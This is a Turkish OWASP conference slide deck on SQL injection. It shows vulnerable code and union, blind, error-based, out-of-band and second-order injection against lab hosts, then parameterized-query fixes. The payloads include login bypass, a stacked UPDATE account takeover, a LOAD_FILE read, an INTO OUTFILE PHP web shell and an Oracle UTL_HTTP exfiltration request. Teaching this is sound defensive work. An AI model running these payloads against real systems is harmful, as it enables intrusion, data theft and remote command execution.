Her Yönüyle SQL Enjeksiyonu OWASP-Türkiye Bünyamin Demir
Bünyamin Demir ( @bunyamindemir ) OWASP Türkiye Bölüm Lideri Founder & CTO @ Enforsec Ltd. Sızma Testleri Uzmanı Web, Mobil, Network, SCADA, Wireless, Sosyal Mühendislik, ATM, DoS/DDoS ve Yük testi Kaynak kod analizi Eğitmen Web/Mobil Uygulama Güvenlik Denetimi Güvenli Kod Geliştirme Veritabanı Güvenliği 2
SQL Enjeksiyonu ' 3
SQL Enjeksiyonu uygulamalara, güvenilir olmayan kaynaklardan gelen girdilerin kontrol edilmeden SQL sorgusunu oluşturan cümlecik içerisinde kullanılmasından kaynaklanmaktadır. 4
Zafiyet Barındıran Örnek Uygulamalar Bana öğrencilerini getir. Bana 5A öğrencilerini getir. Bana 5A veya 5B öğrencilerini getir. 5
Zafiyet Barındıran Örnek Uygulamalar... String classname = request.getparameter("class"); String query = "SELECT * FROM students WHERE class = '" + classname + "'"; ResultSet rs = stmt.execute(query);...... string classname = class.text; string query = "SELECT * FROM students WHERE class = '" + classname + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.fill(dt);...... $classname = $_GET['class']; $query = "SELECT * FROM students WHERE class= '$classname'"; $result = mysql_query($query);... 6
SQL in Çalışması 7
SQL Enjeksiyonu Çeşitleri Genel SQL Enjeksiyonu Union Tabanlı (Union Based) SQL Enjeksiyonu Hata Tabanlı (Error Based) SQL Enjeksiyonu Kör (Blind) SQL Enjeksiyonu Zaman Tabanlı (Time Based) SQL Enjeksiyonu 8
Genel SQL Enjeksiyonu http://www.okul.loc/ogrencilistele.aspx?class=1 SELECT name, lastname, no FROM student WHERE class= 1 9
Genel SQL Enjeksiyonu http://www.okul.loc/ogrencilistele.aspx?class=1' or '1'='1 SELECT name, lastname, no FROM student WHERE class= 1 or 1 = 1 10
Genel SQL Enjeksiyonu 11
UNION Tabanlı SQL Enjeksiyonu SELECT column1,column2 FROM table1 UNION SELECT column1,column2 FROM table2 UNION iki tabloyu birleştirir ve tüm kayıtlar tekil olacak şekilde listeler; SELECT column1,column2 FROM table1 UNION ALL SELECT column1,column2 FROM table2 UNION ALL ise iki tabloyu birleştirir ve tüm kayıtları tekil olmayacak şekilde (aynı kayıttan birden fazla görme ihtimaliniz var) listeler. 12
UNION Tabanlı SQLi - Tespiti Veritabanı MSSQL Oracle MySQL MS Access Hata Mesajı All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. ORA-01789: query block has incorrect number of result columns. The used SELECT statements have a different number of columns. The number of columns in the two selected tables or queries of a union query do not match. 13
UNION Tabanlı SQLi - ORDER SELECT * FROM kullanici ORDER BY 1 SELECT * FROM kullanici ORDER BY 2 Veritabanı Hata Mesajı MSSQL The ORDER BY position number NUM is out of range of the number of items in the select list. Oracle ORA-01785: ORDER BY item must be the number of a SELECT-list expression. MySQL Unknown column 'NUM' in 'order clause'. MS Access Microsoft Jet database engine does not recognize '4' as a valid field name or expression. 14
UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1 15
UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1' UNION SELECT null,null,null,null,null-- 16
UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1' UNION SELECT 1,2,'test',null,null-- 17
UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1' UNION SELECT 1,2,@@version,null,null 18
Hata Tabanlı (Error Based) SQL Enjeksiyonu 19
Hata Tabanlı (Error Based) SQL Enjeksiyonu 20
Hata Tabanlı (Error Based) SQL Enjeksiyonu 21
Hata Tabanlı (Error Based) SQL Enjeksiyonu 22
Hata Tabanlı (Error Based) SQL Enjeksiyonu 23
Kör (Blind) SQL Enjeksiyonu http://www.davshan.loc/friend_info.php?fid=2 SELECT * FROM friends WHERE fid=2 24
Kör (Blind) SQL Enjeksiyonu http://www.davshan.loc/friend_info.php?fid=2 AND 1=1 SELECT * FROM friends WHERE fid=2 AND 1=1 http://www.davshan.loc/friend_info.php?fid=2 AND 1=2 SELECT * FROM friends WHERE fid=2 AND 1=2 25
Kör (Blind) SQL Enjeksiyonu... $stmt = $mysqli->prepare("select F.*,U.* FROM users U INNER JOIN friends F ON (F.friend_id=U.user_id) WHERE F.friend_id=$this->friend_id AND F.user_id=? AND F.verify=1"); $stmt->bind_param('i',$this->user_id); $stmt->execute();... 26
Kör (Blind) SQL Enjeksiyonu İstismarı Sorgu Çıktı Yorum SELECT database() davshan Veritabanı ismi SELECT SUBSTRING((SELECT database()),1,1) d Veritabanı isminin ilk karakteri SELECT ASCII(SUBSTRING((SELECT database()),1,1)) 100 Veritabanı isminin ilk karakterinin ASCII değeri 27
Kör (Blind) SQL Enjeksiyonu İstismarı http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=97 28
Kör (Blind) SQL Enjeksiyonu İstismarı http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=98 http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=99 http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=100 29
Kör (Blind) SQL Enjeksiyonu İstismarı http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),2,1))=97 30
Zaman Tabanlı (Time Based) SQL Enjeksiyonu 31
Farklı SQL İfadelerinde SQLi INSERT Cümleciği 35
Farklı SQL İfadelerinde SQLi INSERT Cümleciği 36
Farklı SQL İfadelerinde SQLi INSERT Cümleciği 37
Farklı SQL İfadelerinde SQLi UPDATE Cümleciği UPDATE CREDITCARD SET NAME=' +name+ ' WHERE USERID=1 a'-- UPDATE CREDITCARD SET NAME='a'-- WHERE USERID=1 38
Farklı SQL İfadelerinde SQLi DELETE Cümleciği http://www.minishop.loc/creditcard?cmd=delete&cardid=29 DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID="+cardid+" http://www.minishop.loc/creditcard?cmd=delete&cardid=29 or 1=1 DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID=29 or 1=1 39
İleri Seviye SQLi İşletim Sistemi http://www.davshan.loc/friend_info.php?fid=2 40
İleri Seviye SQLi İşletim Sistemi /friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,LOAD_FILE('c:/windows/win.ini'),3,4,5,6-- 41
İleri Seviye SQLi İşletim Sistemi http://www.davshan.loc/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,"<pre><?php passthru($_get['cmd'])?></pre>" INTO OUTFILE "C:/wamp/www/davshan/cmd.php"-- 42
İleri Seviye SQLi İşletim Sistemi http://www.davshan.loc/cmd.php?cmd=systeminfo 43
İleri Seviye SQLi Kanal Dışı SELECT UTL_HTTP.REQUEST('http://www.bunyamindemir.com/') FROM dual /product?pid=1 or 1=UTL_HTTP.REQUEST('http://www.bunyamindemir.com/oracle/' (select user from dual))-- 171.42.19.32 - - [07/Sep/2012:00:39:54 +0300] "GET /oracle/minishop HTTP/1.1" 404 - "-" 44
İleri Seviye SQLi İkinci Kademe abc;delete FROM teslimat-- 45
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası public Users login (String username, String password) { Users user = new Users();... ResultSet rs = stmt.executequery("select * FROM users WHERE username='"+username+"' and password='"+password+"'"); while (rs.next()) { user = new Users(rs.getInt("userId"),UserType.USER,rs.getString("username")); }... return user; } 46
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT * FROM users WHERE username='a' or '1'='1'--' and password='xx' 47
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT * FROM users WHERE username='a' or '1'='1' and rownum=1--' and password='xx' 48
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT email, password FROM users WHERE email = 'bunyamindemir@gmail.com' a';update users SET email = 'saldirgan@abc.com' WHERE email = bunyamindemir@gmail.com SELECT email, password FROM users WHERE email = 'a';update users SET email = 'saldirgan@site.com' WHERE email = 'bunyamindemir@gmail.com' 49
Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT email, password FROM users WHERE email = 'bunyamindemir@gmail.com' bedirhan@abc.com' UNION SELECT 'bunyamin@abc.com',password from users-- SELECT email, password FROM users WHERE email = 'bedirhan@abc.com' UNION SELECT 'bunyamin@abc.com', password from users 50
Sqlmap python sqlmap.py -u "http://www.minishop.loc/product?pid=1" -f --banner 51
SQLi Çözümü - Java... String classname = request.getparameter("class"); PreparedStatement psmt = conn.preparestatement("select * FROM students WHERE class=?"); psmt.setstring(1, classname); ResultSet rs = psmt.executequery();... 52
SQLi Çözümü ASP.NET... string classname = class.text; SqlCommand query = new SqlCommand("SELECT * FROM students WHERE class=@clsname", conn); query.parameters.addwithvalue("@clsname", classname); sda = new SqlDataAdapter(query); DataTable dt = new DataTable(); sda.fill(dt);... 53
SQLi Çözümü - PHP... $classname = $_GET['class']; $stmt = $mysqli->prepare("select * FROM students WHERE class=?"); $stmt->bind_param('s',$classnames); $stmt->execute();... 54